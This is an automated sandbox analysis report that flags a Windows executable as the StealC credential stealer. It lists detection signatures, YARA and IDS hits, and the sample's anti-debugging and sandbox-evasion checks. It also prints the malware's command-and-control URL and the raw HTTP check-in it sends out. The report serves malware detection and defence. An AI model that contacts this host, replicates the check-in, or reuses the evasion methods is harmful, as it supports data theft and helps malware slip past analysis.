Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1531077
MD5:	3c4a472bba3dee50286e154336b9643e
SHA1:	8aeb79c1357013ae448e4365786b3352d5436b11
SHA256:	8bc63380429f0d4476b62f4e52eca341094f21d326f82535d61a5a5035840a89
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7284 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 3C4A472BBA3DEE50286E154336B9643E)

cleanup

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1775667377.0000000004D40000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7284	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.120000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-10T20:25:12.186591+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/ws	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.120000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0012C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00127240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00127240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00129AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00129AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00129B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00129B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00138EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00138EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001338B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_001338B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00134910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00134910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0012DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0012E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0012ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00134570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00134570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0012DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0012BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0012F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0012F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00133EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00133EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001216D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_001216D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 34 43 46 32 42 45 36 44 46 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="hwid"24CF2BE6DF91922063497------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="build"doma------CFHDBFIEGIDGIECBKJEC--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00124880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00124880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHDBFIEGIDGIECBKJECHost: 185.215.113.37Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 34 43 46 32 42 45 36 44 46 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 44 42 46 49 45 47 49 44 47 49 45 43 42 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="hwid"24CF2BE6DF91922063497------CFHDBFIEGIDGIECBKJECContent-Disposition: form-data; name="build"doma------CFHDBFIEGIDGIECBKJEC--

Source: file.exe, 00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1817097974.0000000001037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1817097974.0000000001037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/b5
Source: file.exe, 00000000.00000002.1817097974.0000000001025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1817097974.0000000001025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php3
Source: file.exe, 00000000.00000002.1817097974.0000000001025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpo
Source: file.exe, 00000000.00000002.1817097974.0000000001025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phps
Source: file.exe, 00000000.00000002.1817097974.0000000001037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpv
Source: file.exe, 00000000.00000002.1817097974.0000000001037000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1817097974.0000000000FDE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37vly

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047	0_2_004FB047
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F2854	0_2_004F2854
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E50AC	0_2_004E50AC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EF124	0_2_004EF124
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003A71F3	0_2_003A71F3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004EBB7A	0_2_004EBB7A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004053A8	0_2_004053A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F0D0D	0_2_004F0D0D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F5DFE	0_2_004F5DFE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F4DA8	0_2_004F4DA8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E85BE	0_2_004E85BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E3EDF	0_2_004E3EDF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FC6D2	0_2_004FC6D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004E9F9D	0_2_004E9F9D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F77A9	0_2_004F77A9

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 001245C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: wdprdbdb ZLIB complexity 0.9946403986873869

Source: file.exe

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file.exe, 00000000.00000003.1775667377.0000000004D40000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00139600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00139600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00133720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00133720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\K8ACIWTK.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1852928 > 1048576

Source: file.exe

Static PE information: Raw size of wdprdbdb is bigger than: 0x100000 < 0x19e400

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.120000.0.unpack :EW;.rsrc :W;.idata :W; :EW;wdprdbdb:EW;rwcfgkti:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;wdprdbdb:EW;rwcfgkti:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00139860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00139860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cdbc8 should be: 0x1d09e7

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: wdprdbdb
Source: file.exe	Static PE information: section name: rwcfgkti
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005D205A push edi; mov dword ptr [esp], eax	0_2_005D209C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push eax; mov dword ptr [esp], edx	0_2_004FB085
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 3E3B42DCh; mov dword ptr [esp], edi	0_2_004FB0AE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 5AEF113Dh; mov dword ptr [esp], ecx	0_2_004FB0C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push eax; mov dword ptr [esp], 7D9C48B7h	0_2_004FB1C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push edx; mov dword ptr [esp], ecx	0_2_004FB1D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push eax; mov dword ptr [esp], ebp	0_2_004FB287
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push eax; mov dword ptr [esp], 77EAD90Ah	0_2_004FB2A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push edx; mov dword ptr [esp], 3FFF3F9Eh	0_2_004FB2FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 05A78CB0h; mov dword ptr [esp], eax	0_2_004FB38D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push esi; mov dword ptr [esp], 5F727204h	0_2_004FB3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push ebp; mov dword ptr [esp], esi	0_2_004FB433
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push eax; mov dword ptr [esp], 63DDDC61h	0_2_004FB437
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 63242CFEh; mov dword ptr [esp], eax	0_2_004FB444
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 273BF17Eh; mov dword ptr [esp], ebp	0_2_004FB46E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push edx; mov dword ptr [esp], 2AB401F0h	0_2_004FB484
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push eax; mov dword ptr [esp], edi	0_2_004FB4E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 43ADD7B9h; mov dword ptr [esp], edx	0_2_004FB572
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push edi; mov dword ptr [esp], esi	0_2_004FB59B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 08C8D25Ah; mov dword ptr [esp], eax	0_2_004FB616
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push ecx; mov dword ptr [esp], 00000000h	0_2_004FB678
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 75731C7Fh; mov dword ptr [esp], edi	0_2_004FB6D4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push edi; mov dword ptr [esp], 47EF5DD5h	0_2_004FB761
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push eax; mov dword ptr [esp], ecx	0_2_004FB783
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 595A2AC5h; mov dword ptr [esp], ebx	0_2_004FB7C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 6A25A400h; mov dword ptr [esp], edx	0_2_004FB806
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push ebp; mov dword ptr [esp], ecx	0_2_004FB82C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 4D5A1DD5h; mov dword ptr [esp], edi	0_2_004FB83D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 743AA806h; mov dword ptr [esp], ebp	0_2_004FB855
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 6DA213C0h; mov dword ptr [esp], edx	0_2_004FB999
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FB047 push 4739350Ah; mov dword ptr [esp], esi	0_2_004FB9E7

Source: file.exe

Static PE information: section name: wdprdbdb entropy: 7.95311750631902

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00139860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13542

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA716 second address: 4FA73A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 push ebx 0x00000008 jmp 00007FB438CB0C08h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4FA73A second address: 4FA744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FB438C6F726h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5014A4 second address: 5014AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5014AA second address: 5014C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FB438C6F726h 0x0000000a popad 0x0000000b push edi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e jmp 00007FB438C6F72Ch 0x00000013 pop edi 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5014C9 second address: 501506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FB438CB0BF6h 0x0000000a popad 0x0000000b jmp 00007FB438CB0C08h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FB438CB0C02h 0x00000017 jl 00007FB438CB0BF6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5031F2 second address: 5031F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5032F8 second address: 50332F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 add dword ptr [esp], 43C67732h 0x0000000c push 00000003h 0x0000000e sub edx, dword ptr [ebp+122D1BA2h] 0x00000014 push 00000000h 0x00000016 mov ecx, 754B452Dh 0x0000001b push 00000003h 0x0000001d push 880D5CA0h 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FB438CB0C01h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50332F second address: 503339 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FB438C6F726h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 503339 second address: 50333F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50333F second address: 503388 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB438C6F731h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 480D5CA0h 0x00000012 mov ecx, 6F5E6001h 0x00000017 lea ebx, dword ptr [ebp+124550FBh] 0x0000001d mov edi, 6CEEF6FAh 0x00000022 push eax 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FB438C6F737h 0x0000002b rdtsc
